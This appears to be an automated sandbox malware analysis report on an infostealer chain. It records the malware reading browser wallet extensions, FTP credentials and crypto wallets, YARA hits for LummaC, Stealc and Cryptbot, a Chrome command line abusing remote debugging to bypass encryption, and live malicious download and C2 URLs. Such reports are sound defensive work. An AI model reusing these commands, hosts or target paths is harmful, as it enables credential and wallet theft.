Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ

Source: Yara match	File source: 00000009.00000003.2669457783.000000000111C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2641540029.000000000111A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2756243278.00000000015FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2753258995.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2666933055.000000000111A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2695267530.000000000111E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2642092712.000000000111D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2698732554.000000000112C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2616116061.000000000111E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2614684453.000000000111B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 22a4a09ee3.exe PID: 6244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8c3bfc0f85.exe PID: 3352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 22a4a09ee3.exe PID: 5272, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 0000000C.00000003.2703581543.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9108c36d20.exe PID: 3260, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 22a4a09ee3.exe PID: 6244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 22a4a09ee3.exe PID: 5272, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000003.2645427733.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3014909810.0000000000131000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2785242798.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3014657915.0000000000131000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8c3bfc0f85.exe PID: 3352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8c3bfc0f85.exe PID: 5852, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E1307A sqlite3_transfer_bindings,	10_2_61E1307A
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D5E6 sqlite3_bind_int64,	10_2_61E2D5E6
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D595 sqlite3_bind_double,	10_2_61E2D595
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E0B431 sqlite3_clear_bindings,	10_2_61E0B431
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E037F3 sqlite3_value_frombind,	10_2_61E037F3
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D781 sqlite3_bind_zeroblob64,	10_2_61E2D781
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D714 sqlite3_bind_zeroblob,	10_2_61E2D714
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D68C sqlite3_bind_pointer,	10_2_61E2D68C
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D65B sqlite3_bind_null,	10_2_61E2D65B
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D635 sqlite3_bind_int,	10_2_61E2D635
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D9B0 sqlite3_bind_value,	10_2_61E2D9B0
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D981 sqlite3_bind_text16,	10_2_61E2D981
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D945 sqlite3_bind_text64,	10_2_61E2D945
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D916 sqlite3_bind_text,	10_2_61E2D916
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D8E7 sqlite3_bind_blob64,	10_2_61E2D8E7
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E038CA sqlite3_bind_parameter_count,	10_2_61E038CA
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E158CA sqlite3_bind_parameter_index,	10_2_61E158CA
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E038DC sqlite3_bind_parameter_name,	10_2_61E038DC
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Code function: 10_2_61E2D8B8 sqlite3_bind_blob,	10_2_61E2D8B8

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	3 Obfuscated Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	12 Software Packing	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	12 Process Injection	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	2 Bypass User Account Control	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	50%	Virustotal		Browse
file.exe	61%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	61%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://185.215.113.20644cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbceristics	0%	Avira URL Cloud	safe
http://31.41.244.11/files/rnd.exe05	0%	Avira URL Cloud	safe
https://screenshots.firefox.com/shims/google-safeframe.html	0%	Avira URL Cloud	safe
http://185.215.113.16/off/random.exeFm	0%	Avira URL Cloud	safe
https://login.microsoftonline.comresource://normandy/lib/PrefUtils.sys.mjs2e1fac17-9068-4561-b72a-c1	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dllll	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpR%	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpZc	100%	Avira URL Cloud	malware
https://monitor.firefox.combrowser.tabs.drawInTitlebarhttps://support.mozilla.orgcreateContentPrinci	0%	Avira URL Cloud	safe
https://property-imper.sbs/apio0	0%	Avira URL Cloud	safe
https://addons.mozilla.orgaccount-connection-disconnectedshowBadgeOnlyNotificationpictureinpicture.s	0%	Avira URL Cloud	safe
http://185.215.113.206/ZT	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllz?	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpb%/	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php~b	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpox	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dll0	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
property-imper.sbs	172.67.162.84	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
fvtekk5pn.top	34.116.198.130	true	false	high
youtube.com	142.250.181.78	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
https://property-imper.sbs/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.20644cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbceristics	8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp	false	Avira URL Cloud: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2898015922.000001F5C9BD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B86000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%sPdfJs.init	firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
